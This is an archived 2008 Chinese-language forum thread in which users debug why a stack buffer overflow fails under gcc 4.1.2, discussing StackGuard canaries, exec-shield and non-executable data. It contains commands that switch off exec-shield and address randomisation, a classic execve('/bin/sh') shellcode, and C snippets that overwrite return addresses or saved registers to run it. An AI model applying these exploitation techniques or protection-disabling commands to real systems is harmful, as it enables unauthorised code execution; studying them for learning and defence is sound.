免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3643 | 回复: 8
打印 上一主题 下一主题

堆栈保护技术与gcc [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-08-20 16:39 |只看该作者 |倒序浏览
作溢出攻击的时候发现很多shellcode都不能在FC7 with gcc 4.1.2下运运行,而能够在REDHAT 9 下跑谈跑通,查阅了一下关于堆栈保护技术的资料,发现了一下几种Stackguard、Stackshield、Formatguard、Formatguard、堆栈不可执行、数据段不可执行、增强的缓冲区溢出保护及内核MAC、硬件级别的保护等。
面临的主要问题是gcc 4.1.2采用了什么保护技术?不会以补丁的形式打到gcc上,应该是写到源码里面了。
Stackguard、Stackshield比较通用,而且也有应用在gcc中的先例,而还有一个叫exec-shield的方式(不知道是不是和前面两种重复)确实应用在linux下面,通过
echo “0″ > /proc/sys/kernel/exec-shield
echo “0″ > /proc/sys/kernel/randomize_va_space
可以关闭exec-shield。
现在的问题是:
对于一个简单空主函数:

  1. main()
  2. {}
复制代码

对应的汇编语句如下:

  1. (gdb) disassemble main
  2. Dump of assembler code for function main:
  3. 0x08048374 <main+0>:    lea    0x4(%esp),%ecx
  4. 0x08048378 <main+4>:    and    $0xfffffff0,%esp
  5. 0x0804837b <main+7>:    pushl  0xfffffffc(%ecx)
  6. 0x0804837e <main+10>:   push   %ebp
  7. 0x0804837f <main+11>:   mov    %esp,%ebp
  8. 0x08048381 <main+13>:   push   %ecx
  9. 0x08048382 <main+14>:   pop    %ecx
  10. 0x08048383 <main+15>:   pop    %ebp
  11. 0x08048384 <main+16>:   lea    0xfffffffc(%ecx),%esp
  12. 0x08048387 <main+19>:   ret
  13. End of assembler dump.
复制代码



序幕:

  1. 0x08048374 <main+0>:    lea    0x4(%esp),%ecx
  2. 0x08048378 <main+4>:    and    $0xfffffff0,%esp
  3. 0x0804837b <main+7>:    pushl  0xfffffffc(%ecx)
  4. 0x0804837e <main+10>:   push   %ebp
  5. 0x0804837f <main+11>:   mov    %esp,%ebp
  6. 0x08048381 <main+13>:   push   %ecx
复制代码

收尾:

  1. 0x08048382 <main+14>:   pop    %ecx
  2. 0x08048383 <main+15>:   pop    %ebp
  3. 0x08048384 <main+16>:   lea    0xfffffffc(%ecx),%esp
  4. 0x08048387 <main+19>:   ret
复制代码


与REDHAT 9(gcc版本3.2.2)的区别是:

  1. (gdb) disassemble main
  2. Dump of assembler code for function main:
  3. 0x080482f4 <main+0>:    push   %ebp
  4. 0x080482f5 <main+1>:    mov    %esp,%ebp
  5. 0x080482f7 <main+3>:    sub    $0x8,%esp
  6. 0x080482fa <main+6>:    and    $0xfffffff0,%esp

  7. 0x080482fd <main+9>:    mov    $0x0,%eax
  8. 0x08048302 <main+14>:   sub    %eax,%esp
  9. 0x08048304 <main+16>:   leave
  10. 0x08048305 <main+17>:   ret
  11. End of assembler dump.
复制代码

一个本质区别是gcc 4.1.2将ecx也压栈。
而stackguard机制简单介绍如下(stackshield也差不多,只不过将返回值存储在另外的一块内存空间中):
因为缓冲区溢出的通常都会改写函数返回地址,stackguard是个编译器补丁,它产生一个"canary"值(一个
单字)放到返回地址的前面,如果当函数返回时,发现这个canary的值被改变了,就证明可能有人正在试图进行缓冲区
溢出攻击,程序会立刻响应,发送一条入侵警告消息给syslogd,然后终止进程。"canary"包含:NULL(0×00), CR
(0×0d), LF (0×0a) 和 EOF (0xff)四个字 符,它们应该可以阻止大部分的字符串操作,使溢出攻击无效。一
个随机数canary在程序执行的时候被产生。所以攻击者不能通过搜索程序的二进制文件得到"canary"值。如果/dev/
urandom存在,随机数就从那里取得。否则,就从通过对当前时间进行编码得到。其随机性足以阻止绝大部分的预测攻
击。Immunix系统为采用stackguard编译的Red Hat Linux,但stackguard所提供的保护并非绝对安全,满足一些条件就
可以突破限制:如覆盖一个函数指针、可能存在的exit()或_exit()系统调用地址、GOT等。
Stackguard官方链接:http://immunix.org/



有个问题:是否是ecx中存储的就是这个canary?(有用gdb调试,打印出当时的ecx的内容为0x00000001),如果是的话我不覆盖canary是否能够成功的溢出?自己编了程序调试如下,思路主要是分别覆盖:


  1. /*
  2. * last.c for test on Fedora Core 7 with gcc 4.1.2 overflow
  3. */
  4. #include<stdio.h>
  5. static char shellcode[] =
  6.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  7.    "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  8.    "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  9. void main()
  10. {
  11.         int *ret1=NULL;
  12.         int *ret2=NULL;
  13.         ret1 = (int *)&ret1+5;
  14.         ret2 = (int *)&ret2+4;

  15.         (*ret1) = (int)shellcode;
  16.         (*ret2) = (int)shellcode+4;

  17. }
复制代码

但是依然没有成功,执行结果什么也出现。
感觉无论gcc怎样保护堆栈,自己想编写一个程序溢出自己应该还是没问题的啊~~~
请教问题处出在什么位置,谢谢高手们~~~

[ 本帖最后由 ruger 于 2008-8-21 23:07 编辑 ]

论坛徽章:
0
2 [报告]
发表于 2008-08-20 21:15 |只看该作者
我觉得这个很可能是操作系统的存储保护,而不是编译器做的。你的代码中的shellcode放在数据段中,这个段是不可执行的。当处理器从这种不可执行的页面中取指令的时候,就会发出Segmentation Fault的信号,中断程序的执行。
刚好前两天无聊,写个一段Helloword的代码。用那个试了一下,我觉得是上面的原因。
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. void print1(char *str);
  4. void print2();

  5. char shell_code[]=
  6. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  7. "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  8. "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

  9. int main(int argc, char *argv[])
  10. {
  11.     char buf[32]={0};
  12.     int *p=(int *)(buf+8);
  13.     int i;
  14.     for(i=0;i<8;i++)
  15.         buf[i]='b';
  16.     *p=(int *)print2;                               //这个可以正常调用
  17. //    *p=(int *)shell_code;                    //这个会报segmentation fault
  18.     printf("main: %p\n",*p);
  19.     print1(buf);
  20.     return 0;
  21. }

  22. void strcp(char *str1, char *str2)
  23. {
  24.     int i=0;
  25.     while(str2[i]!='\0'){
  26.         str1[i]=str2[i];
  27.         i++;
  28.     }
  29.     str1[i]='\0';
  30.     return;
  31. }

  32. void print1(char *str)
  33. {
  34.     char buf[4];
  35.     strcp(buf,str);
  36.     printf("print1: %p\n",*((int *)(buf+8)));
  37.     return;
  38. }

  39. void print2()
  40. {
  41.     printf("Hello, world!\n");
  42.     exit(0);
  43.     return;
  44. }
复制代码
原帖由 ruger 于 2008-8-20 16:39 发表
作溢出攻击的时候发现很多shellcode都不能在FC7 with gcc 4.1.2下运运行,而能够在REDHAT 9 下跑谈跑通,查阅了一下关于堆栈保护技术的资料,发现了一下几种Stackguard、Stackshield、Formatguard、Formatguard ...

[ 本帖最后由 freearth 于 2008-8-20 21:17 编辑 ]

论坛徽章:
0
3 [报告]
发表于 2008-08-20 23:44 |只看该作者

论坛徽章:
0
4 [报告]
发表于 2008-08-20 23:49 |只看该作者
原帖由 ruger 于 2008-8-20 16:39 发表
作溢出攻击的时候发现很多shellcode都不能在FC7 with gcc 4.1.2下运运行,而能够在REDHAT 9 下跑谈跑通,查阅了一下关于堆栈保护技术的资料,发现了一下几种Stackguard、Stackshield、Formatguard、Formatguard ...


你贴的那段 gcc 4.1.2 产生的代码,利用欺骗而防止侵入的意思。

程序中侵入代码,经过溢出写返回地址,以为成功了,但是还有后着:还有一个返回地址在后面。

也就是说:有两重返回地址!利侵入代码最终无法达到目的

论坛徽章:
0
5 [报告]
发表于 2008-08-21 00:35 |只看该作者
LZ:
  你那个shellcode 是你写的? 如果你能编这样的shellcode,难道还看不出错在哪?
  不知你的 ret1+5 和 ret2+4 是怎么推算出来的

论坛徽章:
0
6 [报告]
发表于 2008-08-21 22:43 |只看该作者

回复 #2 freearth 的帖子

说的有道理,但是还是能够执行,但不是在主函数,是在子函数里面存在内存泄漏的情况,但仅仅是主函数存在问题:
int main(int argc,char * argv[])
{
char buf[500];
if(argc>1) strcpy(buf,argv[1]);
return 0;
}
貌似这样很难被溢出,不知道大家怎么个经验~~~

论坛徽章:
0
7 [报告]
发表于 2008-08-21 23:06 |只看该作者

回复 #5 mik 的帖子

这段shellcode不是我自己写的,是一段通用的shellcode,相当于system(/usr/bin)吧,至于偏移量5和4,应该是算错了,个人认为应该是6和5,但是就算改成6和5也不行,就像什么也没执行一样。

其实我是这么想的:gcc 4.1.2版本下与gcc 3.2.2最大的区别就是讲ECX寄存器压栈,而且%ecx与 0xfffffffc(%ecx)有相互验证的作用(或许这就是所谓的stack guard?),因此考虑分别覆盖 %ecx和0xfffffffc(%ecx)并让他们的内容之间差4,而且指向shellcode.
但是,经过gdb调试,发现经过指针赋值前后, %ecx和0xfffffffc(%ecx)所在的栈空间没有任何变化,%ecx通常是0x00000001。到目前位置,我自己实验得出的结论就是可以通过覆盖子函数的EIP来溢出程序,但是想通过修改主函数压栈的压入的寄存器空间来溢出程序,基本不大可能。因为现在还没有弄清楚,这个保护机制的原理,为什么不能更改%ecx与 0xfffffffc(%ecx)所在栈里的内容,gcc通过什么方式检查出来更改了?我想无非就是存储比对的方式吧?讲ECX的值预先存在某个位置(寄存器?内存?),然后在pop时做比较,然后忽略被修改的值并改回来?或者说任何想修改%ecx与 0xfffffffc(%ecx)的动作都被忽略了???

以下为序幕阶段压栈的寄存器:

  1. 0x0804837b <main+7>:    pushl  0xfffffffc(%ecx)
  2. 0x0804837e <main+10>:   push   %ebp
  3. 0x08048381 <main+13>:   push   %ecx
复制代码

[ 本帖最后由 ruger 于 2008-8-21 23:08 编辑 ]

论坛徽章:
0
8 [报告]
发表于 2008-08-21 23:25 |只看该作者

回复 #7 ruger 的帖子

不知道你有没有看我的那个贴子。

偶google 了解一下Stackguard技术,大概和微软的cookie技术相类似。
canary 相当于 cookie

main:
        leal        4(%esp), %ecx
        andl        $-16, %esp
        pushl        -4(%ecx)
        pushl        %ebp
        movl        %esp, %ebp
        pushl        %ecx
        popl        %ecx
        popl        %ebp
        leal        -4(%ecx), %esp
        ret

我看不出 %ecx 有什么验证作用

论坛徽章:
0
9 [报告]
发表于 2008-08-21 23:50 |只看该作者
原帖由 ruger 于 2008-8-21 23:06 发表
这段shellcode不是我自己写的,是一段通用的shellcode,相当于system(/usr/bin)吧,至于偏移量5和4,应该是算错了,个人认为应该是6和5,但是就算改成6和5也不行,就像什么也没执行一样。

其实我是这么想的: ...


原来你是想:

main:
        leal        4(%esp), %ecx
        andl        $-16, %esp
        pushl        -4(%ecx)
        pushl        %ebp
        movl        %esp, %ebp
        pushl        %ecx         <-------------- 在这里修改 ecx 值 ?
        popl        %ecx
        popl        %ebp
        leal        -4(%ecx), %esp             <------- 这里变成你的 shellcode 地址 ??
        ret



这样做就行了:

int main()
{
        char *p = shellcode;

       *((int *)(&p + 1)) = (int)(&p + 1);         /* 改写 ecx */

       return 0;
}


以上一条语句就可以写 pushl %ecx 中的 %ecx 值。

[ 本帖最后由 mik 于 2008-8-22 18:41 编辑 ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP